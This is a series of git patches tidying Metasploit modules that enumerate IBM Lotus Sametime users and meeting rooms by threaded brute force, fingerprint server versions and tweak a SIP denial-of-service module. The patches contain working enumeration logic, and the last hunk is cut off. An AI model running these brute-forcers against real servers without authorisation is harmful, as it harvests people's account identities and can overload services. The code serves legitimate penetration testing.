a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -14,16 +14,18 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'IBM Lotus Notes Sametime User Enumeration', - 'Description' => %q{ + 'Name' => 'IBM Lotus Notes Sametime User Enumeration', + 'Description' => %q{ This module extracts users using the IBM Lotus Notes Sametime web interface using either brute-force or dictionary based attack. }, - 'Author' => + 'Author' => [ 'kicks4kittens' # Metasploit module ], - 'License' => BSD_LICENSE)) + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Dec 27 2013' + )) register_options( [ diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index ab6cd9dcd5..93cbbf5cd7 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -14,17 +14,18 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'IBM Lotus Notes Sametime Room Name Brute-Forcer', - 'Description' => %q{ + 'Name' => 'IBM Lotus Notes Sametime Room Name Brute-Forcer', + 'Description' => %q{ This module brute forces Sametime meeting room names via the IBM - Lotus Notes Sametime web interface + Lotus Notes Sametime web interface. }, - 'Author' => + 'Author' => [ 'kicks4kittens' # Metasploit module ], - 'License' => BSD_LICENSE)) - + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Dec 27 2013' + )) register_options( [ Opt::RPORT(443), diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index 1ea0d5623e..3dd38da6ef 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -59,19 +59,20 @@ class Metasploit3 < Msf::Auxiliary ] - def initialize - super( - 'Name' => 'IBM Lotus Sametime Version Enumeration', + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Sametime Version Enumeration', 'Description' => %q{ This module scans an IBM Lotus Sametime web interface to enumerate the version and configuration information. }, - 'Author' => + 'Author' => [ 'kicks4kittens' # Metasploit module ], - 'License' => MSF_LICENSE - ) + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Dec 27 2013' + )) register_options( [ OptString.new('TARGETURI', [ true, "The path to the Sametime Server", '/']), From 4d079d47b8ec1e3fa2924020fba9191f5fe55c44 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 15:34:33 -0600 Subject: [PATCH 027/246] Enable SSL by default --- modules/auxiliary/gather/ibm_sametime_enumerate_users.rb | 6 +++++- modules/auxiliary/gather/ibm_sametime_room_brute.rb | 6 +++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index 7a500dc41a..b3e73e7ce7 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -24,7 +24,11 @@ class Metasploit3 < Msf::Auxiliary 'kicks4kittens' # Metasploit module ], 'License' => MSF_LICENSE, - 'DisclosureDate' => 'Dec 27 2013' + 'DisclosureDate' => 'Dec 27 2013', + 'DefaultOptions' => + { + 'SSL' => true + } )) register_options( diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index 93cbbf5cd7..2b1522ca6e 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -24,7 +24,11 @@ class Metasploit3 < Msf::Auxiliary 'kicks4kittens' # Metasploit module ], 'License' => MSF_LICENSE, - 'DisclosureDate' => 'Dec 27 2013' + 'DisclosureDate' => 'Dec 27 2013', + 'DefaultOptions' => + { + 'SSL' => true + }, )) register_options( [ From 584401dc3f76fc4b7b48c6836aa161af89eb6e9a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 15:57:12 -0600 Subject: [PATCH 028/246] Clean ibm_sametime_room_brute code --- .../gather/ibm_sametime_room_brute.rb | 128 +++++++----------- 1 file changed, 52 insertions(+), 76 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index 2b1522ca6e..88b0f62882 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -28,14 +28,14 @@ class Metasploit3 < Msf::Auxiliary 'DefaultOptions' => { 'SSL' => true - }, + } )) + register_options( [ Opt::RPORT(443), OptString.new('OWNER', [ true, 'The owner to brute-force meeting room names for', '']), - OptPath.new('DICT', [ true, 'The path to the userinfo script', '']), - OptBool.new('FULLDATA', [ true, 'Output full meeting room data', true]), + OptPath.new('DICT', [ true, 'The path to the userinfo script' ]), OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/']) ], self.class) @@ -47,8 +47,7 @@ class Metasploit3 < Msf::Auxiliary end def run - - print_status("Beginning IBM Lotus Notes Sametime Meeting Room Brute-force on #{peer}") + print_status("#{peer} - Beginning IBM Lotus Notes Sametime Meeting Room Brute-force on #{peer}") print_status("Using owner: #{datastore['OWNER']}") # test for expected response code on non-existant meeting room name @@ -66,15 +65,15 @@ class Metasploit3 < Msf::Auxiliary } }) - if not res - print_error("No response from server #{peer}") + unless res + print_error("#{peer} - No response, timeout") return end if res.code == 404 and res.body =~ /Room does not exist/i - vprint_status("Server responding to restapi requests as expected") + vprint_status("#{peer} - Server responding to restapi requests as expected") else - print_error("Unexpected response from server (#{res.code}). Quitting....") + print_error("#{peer} - Unexpected response from server (#{res.code}). Exiting...") return end @@ -82,16 +81,15 @@ class Metasploit3 < Msf::Auxiliary @test_queue = Queue.new @output_lock = false - File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) } - print_status("Loaded #{@test_queue.length} values from dictionary") + ::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) } + vprint_status("Loaded #{@test_queue.length} values from dictionary") - print_status("Beginning dictionary brute-force using (#{datastore['Threads']} Threads)") - test_length = 1 # initial test length set + print_status("#{peer} - Beginning dictionary brute-force using (#{datastore['Threads']} Threads)") while(not @test_queue.empty?) t = [] nt = datastore['Threads'].to_i - nt = 1 if nt == 0 + nt = 1 if nt <= 0 if @test_queue.length < nt # work around issue where threads not created as the queue isn't large enough @@ -102,16 +100,14 @@ class Metasploit3 < Msf::Auxiliary 1.upto(nt) do t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current| Thread.current.kill if not test_current - res = make_request(test_current) - - if res and not res.code == 404 + if res.nil? + print_error("#{peer} - Timeout from server when testing room \"#{test_current}\"") + elsif res and res.code == 404 + vprint_status("#{peer} - Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}") + else # check response for user data check_response(res, test_current) - elsif res and res.code == 404 - vprint_status("Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}") - else - print_error("No response from server when testing (#{test_current})") end end end @@ -137,28 +133,22 @@ class Metasploit3 < Msf::Auxiliary 'uri' => @reqpath, 'method' => 'GET', 'ctype' => 'text/html', - 'vars_get' => { - 'owner' => datastore['OWNER'], - 'permaName' => test_current + 'vars_get' => + { + 'owner' => datastore['OWNER'], + 'permaName' => test_current } }) end + # check the response for valid room information def check_response(res, test_current) - - # check the response for valid room information - begin - # check response exists AND that it validates as JSON before proceeding - if res.code.to_i == 200 and not JSON.parse(res.body).blank? - # successful response - extract room information - extract_room_data(res, test_current) - return true - elsif res.body =~ /Room does not exist/i - return false - else - print_error("Unexpected response received from server #{peer}") + if res.code.to_i == 200 + json_room = JSON.parse(res.body) + # extract room information if there is data + output_table(json_room, test_current) unless json_room.blank? end rescue JSON::ParserError # non-JSON response - server may be overloaded @@ -166,53 +156,39 @@ class Metasploit3 < Msf::Auxiliary end end - def extract_room_data(res, test_current) - - # extract room data if not already present - begin - roominfo = JSON.parse(res.body) - output_table(roominfo, test_current) - rescue JSON::ParserError - print_error("Error reading JSON string, continuing") + def output_table(room_info, test_current) + unless datastore['VERBOSE'] + print_good("New meeting room found: #{test_current}") + return end - end - - def output_table(roominfo, test_current) - - if datastore['FULLDATA'] - - # print output table for discovered meeting rooms - - roomtbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}", - 'Prefix' => "", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' =>[ + # print output table for discovered meeting rooms + roomtbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}", + 'Prefix' => "", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ "Key", "Value" - ]) + ] + ) - roominfo['results'][0].each do | k,v | - if v.is_a?(Hash) - # breakdown Hash - roomtbl << [ k.to_s, '>>' ] # title line - v.each do | subk, subv | - roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty? - end - else - roomtbl << [ k.to_s, v.to_s || "-"] if not v.nil? - end + room_info['results'][0].each do |k, v| + if v.is_a?(Hash) + # breakdown Hash + roomtbl << [ k.to_s, '>>' ] # title line + v.each do | subk, subv | + roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty? + end + else + roomtbl << [ k.to_s, v.to_s || "-"] unless v.nil? end - # output table - print_good(roomtbl.to_s) - - else - print_good("New meeting room found: #{test_current}") end - + # output table + print_good(roomtbl.to_s) end From bb3d9da0bb1af502422f583572d38cbbccec060b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 16:33:25 -0600 Subject: [PATCH 029/246] Do first cleaning on ibm_sametime_enumerate_users --- .../gather/ibm_sametime_enumerate_users.rb | 130 +++++++++--------- 1 file changed, 62 insertions(+), 68 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index b3e73e7ce7..d3ed466d41 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -34,10 +34,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(443), - OptString.new('TARGETURI', [ true, 'The path to the userinfo script', - '/userinfo/search']), - OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', - ['alpha', 'alphanum', 'num'] ]), + OptString.new('TARGETURI', [ true, 'The path to the userinfo script', '/userinfo/search']), + OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', ['alpha', 'alphanum', 'num'] ]), OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]), OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']), OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2]), @@ -46,10 +44,10 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ - OptInt.new('TIMING', [ true, 'Set pause between requests', 0]), OptString.new('SpecialChars', [false, 'Specify special chars (e.g. -_+!@&$/\?)', '' ]), OptString.new('PREFIX', [ false, 'Defines set prefix for each guess (e.g. user)', '']), OptString.new('SUFFIX', [ false, 'Defines set post for each quess (e.g. _adm)', '']), + OptInt.new('TIMING', [ true, 'Set pause between requests', 0]), OptInt.new('Threads', [ true, 'Number of test threads', 10]) ], self.class) end @@ -61,41 +59,46 @@ class Metasploit3 < Msf::Auxiliary # setup array to hold user data @user_data = [] - if datastore['DICT'].nil? or datastore['DICT'].empty? + if datastore['DICT'].blank? # populate charset - lowercase only as search is case insensitive case datastore['CHARSET'] when "alpha" - ("a".."z").each do | alpha | @charset.push(alpha) end + ("a".."z").each { |alpha| @charset.push(alpha) } when "num" - ("0".."9").each do | num | @charset.push(num) end + ("0".."9").each { |num| @charset.push(num) } when "alphanum" - ("a".."z").each do | alpha | @charset.push(alpha) end - ("0".."9").each do | num | @charset.push(num) end + ("a".."z").each { |alpha| @charset.push(alpha) } + ("0".."9").each { |num| @charset.push(num) } end + if datastore['SpecialChars'] datastore['SpecialChars'].chars do | spec | @charset.push(Rex::Text.uri_encode(spec)) end end - print_status("Performing Brute-Force based attack on #{peer}") - print_status("CHARSET: [#{@charset.join(",")}]") + print_status("#{peer} -Performing Brute-Force based attack") + vprint_status("CHARSET: [#{@charset.join(",")}]") else - print_status("Performing dictionary based attack (#{datastore['DICT']}) on #{peer}") + print_status("#{peer} - Performing dictionary based attack (#{datastore['DICT']})") end - # setup path - type = datastore['TYPE'].downcase - uri = target_uri.path - @reqpath = normalize_uri(uri + '?mode=' + type + '&searchText=') - - if (datastore['DICT'].nil? or datastore['DICT'].empty?) and datastore['MAXDEPTH'] > 2 + if datastore['DICT'].blank? and datastore['MAXDEPTH'] > 2 # warn user on long runs - print_status("Depth level #{datastore['MAXDEPTH']} selected... this may take some time!") + vprint_status("#{peer} - Depth level #{datastore['MAXDEPTH']} selected... this may take some time!") end + + # create initial test queue and populate + @test_queue = Queue.new + if datastore['DICT'].blank? + @charset.each { |char| @test_queue.push(char) } + else + ::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) } + vprint_status("#{peer} - Loaded #{@test_queue.length} values from dictionary") + end + @depth_warning = true @tested = [] @retries = [] - end def run @@ -104,32 +107,37 @@ class Metasploit3 < Msf::Auxiliary # test for expected response code on non-existant uid/email if datastore['TYPE'] == "UID" - rval = Rex::Text.rand_text_alpha(32) + random_val = Rex::Text.rand_text_alpha(32) else - rval = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com" + random_val = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com" end + res = send_request_cgi({ - 'uri' => normalize_uri(@reqpath + rval), + 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', - 'ctype' => 'text/html' + 'ctype' => 'text/html', + 'vars_get' => { + 'mode' => datastore['TYPE'].downcase, + 'searchText' => random_val + } }) begin - if not res - print_error("No response from server #{peer}") + if res.nil? + print_error("#{peer} - Timeout") return - elsif not res.code == 200 - print_error("Unexpected response from server (Response code: #{res.code})") + elsif res.code != 200 + print_error("#{peer} - Unexpected response from server (Response code: #{res.code})") return - elsif not JSON.parse(res.body).blank? + elsif JSON.parse(res.body).blank? # empty JSON element - print_error("Received invalid response from server #{peer}") + print_error("#{peer} - Received invalid response from server") return else - print_good("Response received, continuing to enumeration phase") + print_good("#{peer} - Response received, continuing to enumeration phase") end rescue JSON::ParserError, - print_error("Error parsing JSON: Invalid response from server #{peer}") + print_error("#{peer} - Error parsing JSON: Invalid response from server") return end @@ -142,20 +150,10 @@ class Metasploit3 < Msf::Auxiliary end def test_handler - - # create initial test queue and populate - @test_queue = Queue.new - if (datastore['DICT'].nil? or datastore['DICT'].empty?) - @charset.each { |char| @test_queue.push(char) } - else - File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) } - print_status("Loaded #{@test_queue.length} values from dictionary") - end - print_status("Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)") test_length = 1 # initial test length set - while(not @test_queue.empty?) + until @test_queue.empty? t = [] nt = datastore['Threads'].to_i nt = 1 if nt == 0 @@ -171,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary Thread.current.kill if not test_current # provide feedback to user on current test length - if (datastore['DICT'].nil? or datastore['DICT'].empty?) and test_current.length > test_length + if datastore['DICT'].blank? and test_current.length > test_length test_length = test_current.length print_status("Beginning brute_force test for #{test_length} character strings") end @@ -179,7 +177,7 @@ class Metasploit3 < Msf::Auxiliary res = make_request(test_current) # check response to see if an error was returned, if so wait 1 second and retry - if not res and not @retries.include?(test_current) + if res.nil? and not @retries.include?(test_current) # attempt test again as the server was too busy to respond # correctly - error returned print_error("Error reading JSON response, attempting to redo check for \"#{test_current}\"") @@ -213,10 +211,8 @@ class Metasploit3 < Msf::Auxiliary end end + # make request and return response def make_request(test_current) - - # make request and return response - # combine test string with PRE and POST variables tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*" # Apply timing information to pause between making requests - not a timeout @@ -225,17 +221,18 @@ class Metasploit3 < Msf::Auxiliary end res = send_request_cgi({ - 'uri' => normalize_uri(@reqpath + tstring), + 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', - 'ctype' => 'text/html' + 'ctype' => 'text/html', + 'vars_get' => { + 'mode' => datastore['TYPE'].downcase, + 'searchText' => tstring + } }) - end + # check the response for valid user information def check_response(res, test_current) - - # check the response for valid user information - begin # check response exists AND that it validates as JSON before proceeding if res.code.to_i == 200 and not JSON.parse(res.body).blank? @@ -258,7 +255,6 @@ class Metasploit3 < Msf::Auxiliary end def extract_user(res) - # extract user data if not already present begin userinfo = JSON.parse(res.body) @@ -273,22 +269,20 @@ class Metasploit3 < Msf::Auxiliary rescue JSON::ParserError print_error("Error reading JSON string, continuing") end - end + # extend the test queue if MAXDEPTH value not exceeded + # checks made to ensure duplicates are not created when extending + + # process: + # + # when a user is found searching for 'a' the queue for 'a' is extended as + # only the first user starting with 'a' will be returned (e.g. 'aanderson') + # To find all users the queue must be extended by adding 'aa' through to 'az' + # Due to the threaded nature of this module, checks need to be in place to ensure + # duplicate entries are not added to the queue by competing threads. def extend_queue(test_current) - # extend the test queue if MAXDEPTH value not exceeded - # checks made to ensure duplicates are not created when extending - - # process: - # - # when a user is found searching for 'a' the queue for 'a' is extended as - # only the first user starting with 'a' will be returned (e.g. 'aanderson') - # To find all users the queue must be extended by adding 'aa' through to 'az' - # Due to the threaded nature of this module, checks need to be in place to ensure - # duplicate entries are not added to the queue by competing threads. - if test_current.length < datastore['MAXDEPTH'] @charset.each do | char | if not @tested.include?(test_current + char) From d96772ead19bab14f682f69e0982283482b0c7e8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 17:38:16 -0600 Subject: [PATCH 030/246] Clean multi-threading on ibm_sametime_enumerate_users --- .../gather/ibm_sametime_enumerate_users.rb | 95 ++++++------------- 1 file changed, 31 insertions(+), 64 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index d3ed466d41..e639dbcbf3 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -19,16 +19,16 @@ class Metasploit3 < Msf::Auxiliary This module extracts users using the IBM Lotus Notes Sametime web interface using either brute-force or dictionary based attack. }, + 'DefaultOptions' => + { + 'SSL' => true + }, 'Author' => [ 'kicks4kittens' # Metasploit module ], 'License' => MSF_LICENSE, - 'DisclosureDate' => 'Dec 27 2013', - 'DefaultOptions' => - { - 'SSL' => true - } + 'DisclosureDate' => 'Dec 27 2013' )) register_options( @@ -38,8 +38,7 @@ class Metasploit3 < Msf::Auxiliary OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', ['alpha', 'alphanum', 'num'] ]), OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]), OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']), - OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2]), - OptBool.new('STREAMFINDINGS', [true, 'Stream new users as discovered', true]) + OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2]) ], self.class) register_advanced_options( @@ -97,13 +96,11 @@ class Metasploit3 < Msf::Auxiliary end @depth_warning = true - @tested = [] @retries = [] end def run - - print_status("Testing #{peer} for IBM Lotus Notes Sametime User Enumeration flaw") + print_status("#{peer} - Testing for IBM Lotus Notes Sametime User Enumeration flaw") # test for expected response code on non-existant uid/email if datastore['TYPE'] == "UID" @@ -150,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary end def test_handler - print_status("Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)") + print_status("#{peer} - Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)") test_length = 1 # initial test length set until @test_queue.empty? @@ -171,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary # provide feedback to user on current test length if datastore['DICT'].blank? and test_current.length > test_length test_length = test_current.length - print_status("Beginning brute_force test for #{test_length} character strings") + print_status("#{peer} - Beginning brute_force test for #{test_length} character strings") end res = make_request(test_current) @@ -180,25 +177,15 @@ class Metasploit3 < Msf::Auxiliary if res.nil? and not @retries.include?(test_current) # attempt test again as the server was too busy to respond # correctly - error returned - print_error("Error reading JSON response, attempting to redo check for \"#{test_current}\"") - Rex::sleep(1) # sleep 1 second and retry request + print_error("#{peer} - Error reading JSON response, attempting to redo check for \"#{test_current}\"") + @test_queue.push(test_current) @retries << test_current - res = make_request(test_current) - end - - if res + if @retries.length == 10 + print_error("#{peer} - Excessive number of retries detected (#{@retries.length}... check the TIMING and Threads options)") + end + elsif res # check response for user data check_response(res, test_current) - elsif not @retries.include?(test_current) - vprint_error("No response received from server when testing string \"#{test_current}*\" (Retrying)") - @retries << test_current - Rex::sleep(1) # sleep 1 second and retry - res = make_request(test_current) - end - - if @retries.length == 10 - print_error("Excessive number of retries detected (#{@retries.length} check TIMING)") - @retries << "warning sent to user" # increase length to avoid multiple warnings end end end @@ -239,14 +226,7 @@ class Metasploit3 < Msf::Auxiliary # successful response - extract user data extract_user(res) # extend test_queue to search for further data (not if dictionary in use) - extend_queue(test_current) if (datastore['DICT'].nil? or datastore['DICT'].empty?) - return true - elsif JSON.parse(res.body).blank? # empty JSON element - # expected failure for non-existent user - must return false - return false - else - # unexpected failure - print_error("Unexpected response received from server #{peer}") + extend_queue(test_current) if (datastore['DICT'].blank?) end rescue JSON::ParserError # non-JSON response - server may be overloaded @@ -258,56 +238,43 @@ class Metasploit3 < Msf::Auxiliary # extract user data if not already present begin userinfo = JSON.parse(res.body) - if not @user_data.flatten.include?(userinfo['uid']) + unless @user_data.flatten.include?(userinfo['uid']) @user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ] - if datastore['STREAMFINDINGS'] - # print newly discovered users straight to the screen - print_good("New user found: #{userinfo['uid']}") - end + # print newly discovered users straight to the screen if verbose mode is set + vprint_good("#{peer} - New user found: #{userinfo['uid']}") report_user(userinfo['uid']) end rescue JSON::ParserError - print_error("Error reading JSON string, continuing") + print_error("#{peer} - Error reading JSON string, continuing") end end # extend the test queue if MAXDEPTH value not exceeded # checks made to ensure duplicates are not created when extending - # process: # # when a user is found searching for 'a' the queue for 'a' is extended as # only the first user starting with 'a' will be returned (e.g. 'aanderson') # To find all users the queue must be extended by adding 'aa' through to 'az' - # Due to the threaded nature of this module, checks need to be in place to ensure - # duplicate entries are not added to the queue by competing threads. def extend_queue(test_current) - if test_current.length < datastore['MAXDEPTH'] @charset.each do | char | - if not @tested.include?(test_current + char) - # only add if not alread in queue - avoid duplicates appearing - @test_queue.push(test_current + char) - # keep track of whats already been queued and checked - @tested.push(test_current + char) - end + @test_queue.push(test_current + char) end - elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and not datastore['MAXDEPTH'] == 1 - vprint_status("Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests") + elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and datastore['MAXDEPTH'] > 1 + vprint_status("#{peer} - Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests") @depth_warning = false - return end - end def report_user(username) report_note( - :host => rhost, - :proto => 'tcp', - :sname => 'sametime', - :port => rport, - :type => 'ibm_lotus_sametime_user', - :data => "#{username}", + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sametime', + :type => 'ibm_lotus_sametime_user', + :data => "#{username}", :update => :unique_data ) end @@ -333,10 +300,10 @@ class Metasploit3 < Msf::Auxiliary end if not user_tbl.to_s.empty? - print_good("#{@user_data.length} users extracted from #{peer}") + print_good("#{peer} - #{@user_data.length} users extracted") print_line(user_tbl.to_s) else - print_error("No users discovered") + print_error("#{peer} - No users discovered") end end end From 5ec062ea1cbfe83d8a1fb7e4642bd1235eb5782c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 17:42:26 -0600 Subject: [PATCH 031/246] Beautify print message --- modules/auxiliary/gather/ibm_sametime_enumerate_users.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index e639dbcbf3..e2b0fc3319 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -75,8 +75,8 @@ class Metasploit3 < Msf::Auxiliary @charset.push(Rex::Text.uri_encode(spec)) end end - print_status("#{peer} -Performing Brute-Force based attack") - vprint_status("CHARSET: [#{@charset.join(",")}]") + print_status("#{peer} - Performing Brute-Force based attack") + vprint_status("#{peer} - Using CHARSET: [#{@charset.join(",")}]") else print_status("#{peer} - Performing dictionary based attack (#{datastore['DICT']})") end From 01ab6fd545b9884145e0de718be9637b1cf5d5d0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jan 2014 17:59:03 -0600 Subject: [PATCH 032/246] Do small fixes --- .../auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb | 4 ++-- .../auxiliary/gather/ibm_sametime_enumerate_users.rb | 11 +++++------ modules/auxiliary/gather/ibm_sametime_room_brute.rb | 11 ++++------- modules/auxiliary/gather/ibm_sametime_version.rb | 9 ++++----- 4 files changed, 15 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb index db9298e0f0..7c9a88eb20 100644 --- a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary def run # inform user of action currently selected - print_status("Action: #{action.name} selected") + print_status("#{peer} - Action: #{action.name} selected") # CHECK action if action.name == 'CHECK' @@ -173,7 +173,7 @@ class Metasploit3 < Msf::Auxiliary def create_message(length) # create SIP MESSAGE of specified length - vprint_status("Creating SIP MESSAGE packet #{length} bytes long") + vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long") source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1) source_host = Rex::Socket.source_address(datastore['RHOST']) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index e2b0fc3319..40cf91cc4f 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -19,14 +19,14 @@ class Metasploit3 < Msf::Auxiliary This module extracts users using the IBM Lotus Notes Sametime web interface using either brute-force or dictionary based attack. }, - 'DefaultOptions' => - { - 'SSL' => true - }, 'Author' => [ 'kicks4kittens' # Metasploit module ], + 'DefaultOptions' => + { + 'SSL' => true + }, 'License' => MSF_LICENSE, 'DisclosureDate' => 'Dec 27 2013' )) @@ -52,7 +52,6 @@ class Metasploit3 < Msf::Auxiliary end def setup - # setup the desired charset @charset = [] # setup array to hold user data @@ -143,7 +142,6 @@ class Metasploit3 < Msf::Auxiliary # ouput results output_results - end def test_handler @@ -306,4 +304,5 @@ class Metasploit3 < Msf::Auxiliary print_error("#{peer} - No users discovered") end end + end diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index 88b0f62882..862721e130 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -23,12 +23,12 @@ class Metasploit3 < Msf::Auxiliary [ 'kicks4kittens' # Metasploit module ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => 'Dec 27 2013', 'DefaultOptions' => { 'SSL' => true - } + }, + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Dec 27 2013' )) register_options( @@ -120,10 +120,8 @@ class Metasploit3 < Msf::Auxiliary end end + # make request and return response def make_request(test_current) - - # make request and return response - # Apply timing information if datastore['TIMING'] > 0 Rex::sleep(datastore['TIMING']) @@ -139,7 +137,6 @@ class Metasploit3 < Msf::Auxiliary 'permaName' => test_current } }) - end # check the response for valid room information diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index 3dd38da6ef..4ec88c8099 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -73,6 +73,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'DisclosureDate' => 'Dec 27 2013' )) + register_options( [ OptString.new('TARGETURI', [ true, "The path to the Sametime Server", '/']), @@ -125,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary begin res_json = JSON.parse(res.body) rescue JSON::ParserError - print_error("Unable to parse JSON response") + print_error("#{checked_host}:#{rport} - Unable to parse JSON response") end extract_webavservlet_data(res_json) elsif res['content-type'].include?("text/plain") or res['content-type'].include?("text/html") @@ 